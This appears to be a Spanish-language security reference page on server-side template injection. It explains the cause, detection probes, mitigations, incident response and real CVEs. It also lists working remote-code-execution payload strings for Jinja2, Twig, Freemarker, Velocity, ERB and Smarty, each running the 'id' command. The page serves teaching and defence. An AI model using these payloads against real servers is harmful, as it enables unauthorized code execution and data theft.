Saltearse al contenido

SSTI (plantillas)

Cuando la entrada del usuario llega a un motor de plantillas del servidor como parte de la plantilla (no como dato), el atacante inyecta expresiones que el motor evalúa. En la mayoría de motores esto escala a ejecución remota de código (RCE), porque desde la expresión se alcanza el runtime del lenguaje.

RCE en el servidor (lo más común), lectura de ficheros y secretos, SSRF, y fuga del contexto de la plantilla (variables internas, config). El impacto depende del motor y de si corre en sandbox.

Un motor de plantillas compila texto con marcadores ({{ }}, ${ }, <%= %>) y los evalúa. El fallo aparece cuando la plantilla se construye concatenando entrada del usuario (p. ej. render_template_string("Hola " + nombre)), en vez de pasarla como variable (render(template, name=nombre)). No confundir con XSS: SSTI se evalúa en servidor; el autoescape de XSS no lo mitiga.

  • Jinja2 / Flask (Python) · Twig (PHP) · Freemarker / Velocity (Java) · ERB / Slim (Ruby) · Handlebars / Pug / EJS (Node) · Smarty (PHP) · OGNL / SpEL (Java, en frameworks).

Inyecta una sonda matemática y mira si se evalúa (si ves 49, hay SSTI); luego identifica el motor por qué sintaxis funciona o por los errores:

{{7*7}} -> 49 Jinja2 / Twig
${7*7} -> 49 Freemarker / Velocity / Spring EL
<%= 7*7 %> -> 49 ERB
#{7*7} -> 49 algunos (Ruby/Thymeleaf)
{7*7} -> 49 Smarty
Polyglot de detección:
${{<%[%'"}}%\
# Jinja2 (Python) - varias cadenas según versión
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Twig (PHP)
{{ ['id']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
# Velocity (Java)
#set($e="exec");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)
# ERB (Ruby)
<%= system("id") %> <%= IO.popen("id").read %>
# Smarty (PHP)
{system('id')}

tplmap y SSTImap (detección + explotación automática), PayloadsAllTheThings (cadenas por motor) y Burp para el trabajo manual.

RCE → exfiltración de secretos, pivote, persistencia. En motores sandboxed (algunas versiones de Jinja2/Twig), el trabajo consiste en encontrar un escape de sandbox.

  • Errores de plantilla en logs tras entrada con {{, ${, <%, #{.
  • El proceso de la app lanzando shells/binarios inusuales (igual que en command injection) — señal fuerte en EDR.
  • WAF con firmas de sondas/payloads SSTI y anomalía.

Logs de la app y del motor, creación de procesos (auditd/Sysmon), egress/DNS.

  1. No construir plantillas con entrada del usuario. Pasa los datos como variables, nunca concatenados en la plantilla.
  2. Usa plantillas logic-less (Mustache) o motores en sandbox cuando el usuario deba aportar plantillas; valida/limita las funciones expuestas.
  3. Mínimo privilegio y aislamiento (contenedor, seccomp) para limitar el RCE.
  4. El autoescape protege contra XSS, no contra SSTI: no te fíes de él aquí.

Aislar el host, rotar secretos accesibles por el proceso, buscar persistencia, y corregir la construcción de la plantilla.

  • Atlassian Confluence — OGNL injection (CVE-2021-26084, 2021) — inyección de expresiones OGNL (prima hermana del SSTI) que permitió RCE sin autenticar; explotada masivamente.
  • Craft CMS / apps con Twig y numerosas aplicaciones Flask/Jinja2 han sufrido SSTI→RCE.
  • Spring Expression (SpEL) injection en varios productos Java.

CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Sonda matemática probada en cada punto reflejado (identifica el motor).
  • Confirmada evaluación en servidor (no es XSS).
  • Cadena de RCE adaptada al motor (o escape de sandbox si aplica).
  • Impacto demostrado con comando inofensivo (id) en alcance.